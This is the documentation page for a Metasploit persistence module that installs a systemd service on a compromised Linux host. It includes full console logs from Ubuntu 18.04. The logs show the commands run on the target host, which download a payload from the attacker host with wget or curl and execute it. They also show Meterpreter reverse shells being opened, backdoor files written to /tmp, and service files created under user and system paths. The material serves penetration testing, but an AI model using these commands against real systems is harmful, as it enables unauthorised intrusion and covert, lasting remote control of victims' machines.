## Vulnerable Application

This module will create a service on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
systemd should be available on the following systems:

Targets:

* CentOS 7
* Debian >= 7, <=8
* Fedora >= 15
* Ubuntu >= 15.04

Verified on Ubuntu 18.04.3

## Verification Steps

1. Exploit a box
2. `use exploit/linux/persistence/init_systemd`
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`

## Options

### SERVICE

The name of the service to create.  If not chosen, a random one is created.

### PAYLOAD_NAME

The name of the file to write with our shell if a non-cmd payload is used.  If not chosen, a random one is created.

### Target: systemd

Requires `root` permission, or equivalent. Installs the service into `/lib/systemd/system/#{service_filename}.service`

### Target: systemd user

Requires user level permission. Installs the service into `#{home}/.config/systemd/user/#{service_filename}.service`

## Scenarios

### Ubuntu 18.04

#### user

Initial access vector via web delivery

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545 
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO A0IMfkxw --no-check-certificate http://111.111.1.111:8181/l; chmod +x A0IMfkxw; ./A0IMfkxw& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
[*] 222.222.2.222    web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35670) at 2025-02-12 16:51:31 -0500
```

Persistence

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd 
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set target 1
target => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
[*] Command to run on remote host: curl -so ./AfUflryvMrcV http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./AfUflryvMrcV;./AfUflryvMrcV&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) > 
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Writing backdoor to /tmp//wiyCnjJRK
[*] Creating user service directory
[*] Writing service: /home/ubuntu/.config/systemd/user/hakiMwGMnXA.service
[*] Reloading manager configuration
[*] Enabling service
[*] Starting service: hakiMwGMnXA
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5212/ubuntu18desktop.local_20250212.5212.rc
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58360) at 2025-02-12 16:52:13 -0500
[msf](Jobs:2 Agents:2) exploit(linux/persistence/init_systemd) > sessions -i 2
[*] Starting interaction with 2...
(Meterpreter 2)(/home/ubuntu) > sysinfo
Computer     : ubuntu18desktop.local
OS           : Ubuntu 18.04 (Linux 5.3.0-26-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
(Meterpreter 2)(/home/ubuntu) > getuid
Server username: ubuntu
```

#### root

Initial access vector via web delivery

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545 
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Xz9l4YxP --no-check-certificate http://111.111.1.111:8181/l; chmod +x Xz9l4YxP; ./Xz9l4YxP& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35802) at 2025-02-12 16:54:10 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/ubuntu) > getuid
Server username: root
(Meterpreter 1)(/home/ubuntu) > sysinfo
Computer     : ubuntu18desktop.local
OS           : Ubuntu 18.04 (Linux 5.3.0-26-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
(Meterpreter 1)(/home/ubuntu) > background
[*] Backgrounding session 1...
```

Persistence

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd 
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
[*] Command to run on remote host: curl -so ./pCnRnSfZCFa http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./pCnRnSfZCFa;./pCnRnSfZCFa&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) > 
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Writing backdoor to /tmp//nfiWHmr
[*] Writing service: /lib/systemd/system/SBFzvKrWjH.service
[*] Enabling service
[*] Starting service
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5514/ubuntu18desktop.local_20250212.5514.rc
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58406) at 2025-02-12 16:55:15 -0500
```